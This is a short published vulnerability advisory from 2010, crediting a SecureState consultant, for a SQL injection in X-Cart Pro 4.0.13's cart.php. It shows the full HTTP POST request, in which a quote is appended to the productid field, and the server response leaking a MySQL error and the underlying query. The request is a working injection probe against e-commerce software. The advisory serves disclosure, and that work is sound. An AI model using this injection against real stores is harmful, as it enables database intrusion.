X-Cart Pro 4.0.13 SQL Injection

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# Title: X-Cart Pro v4.0.13 SQL Injection Proof of Concept  
# Author: s4squatch  
# Published: 2010-02-11  
  
  
X-Cart Pro v4.0.13 SQL Injection Proof of Concept  
Discovered By: s4squatch of SecureState R&D Team (www.securestate.com)  
Discovered: Mon, 08 Sep 2008 20:29:07 GMT  
Version: 4.0.13 obtained from www.website.com/README  
  
Can't find reference to this old vuln elsewhere...  
Ref's:  
http://securitytracker.com/alerts/2005/May/1014077.html  
http://www.securityfocus.com/bid/13817/exploit  
  
  
Proof of Concept:  
  
REQUEST:  
========  
POST /cart.php?mode=add HTTP/1.1  
Host: www.website.com  
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16  
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5  
Accept-Language: en-us,en;q=0.5  
Accept-Encoding: gzip,deflate  
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7  
Keep-Alive: 300  
Proxy-Connection: keep-alive  
Referer: http://www.website.com/product.php?productid=16&cat=0&bestseller  
Cookie: store_language=US; xid=51cac653f7b0dfc3002888369aa343f9  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 206  
  
product_options%5B142%5D=302&product_options%5B180%5D=353&amount=1&mode=add&productid=16%27&cat=0&page=  
  
  
  
RESPONSE:  
=========  
HTTP/1.1 200 OK  
Date: Mon, 08 Sep 2008 20:29:07 GMT  
Server: Apache/2.0.46 (CentOS)  
Expires: Mon, 26 Jul 1997 05:00:00 GMT  
Last-Modified: Mon, 08 Sep 2008 20:29:07 GMT  
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0  
Pragma: no-cache  
Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/  
Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.website.com  
Set-Cookie: xid=51cac653f7b0dfc3002888369aa343f9; path=/; domain=subdomain.website.com  
Set-Cookie: RefererCookie=http%3A//www.website.com/home.php; expires=Sat, 07-Mar-2009 20:29:07 GMT; path=/; domain=subdomain.website.com  
Connection: close  
Content-Type: text/html; charset=UTF-8  
Content-Length: 502  
  
<B><FONT COLOR=DARKRED>INVALID SQL: </FONT></B>1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1<BR><B><FONT COLOR=DARKRED>SQL QUERY FAILURE:</FONT></B> SELECT * FROM xcart_products_lng WHERE code='US' AND productid=16\' <BR><BR><BR>If the page is not updated in a 5 seconds, please follow this link: <A href="cart.php">continue >></A><META http-equiv="Refresh" content="0;URL=cart.php">  
  
  
  
  
  
Scott White<mailto:[email protected]> | Senior Consultant | SecureState  
623.321.2660 - office | 480.440.7595 - mobile | 216.927.2801 - fax  
  
[cid:[email protected]]<https://www.securestate.com/>  
  
  
  
  
  
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